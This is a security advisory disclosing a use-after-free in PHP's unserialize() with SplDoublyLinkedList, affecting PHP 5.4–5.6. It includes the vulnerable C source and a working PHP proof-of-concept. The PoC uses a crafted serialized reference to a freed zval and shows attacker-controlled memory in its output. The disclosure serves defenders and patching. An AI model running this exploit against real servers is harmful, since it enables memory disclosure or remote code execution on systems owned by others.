#Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7
> A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
```
ALLOC_INIT_ZVAL(flags);
if (!php_var_unserialize(&flags, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(flags) != IS_LONG) {
zval_ptr_dtor(&flags);
goto error;
}
intern->flags = Z_LVAL_P(flags);
zval_ptr_dtor(&flags); <=== free memory
...
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return;
```
The zval_ptr_dtor() leads to &flags is freed from memory. However the
unserialize() will still allow to use R: or r: to set references to
that already freed memory. It is possible to use-after-free attack and
execute arbitrary code remotely.
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
```
<?php
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner = 'i:0;';
$exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
```
Test the PoC on the command line:
```
$ php uafpoc.php
array(2) {
[0]=>
object(SplDoublyLinkedList)#1 (2) {
["flags":"SplDoublyLinkedList":private]=>
int(0)
["dllist":"SplDoublyLinkedList":private]=>
array(0) {
}
}
[1]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
```
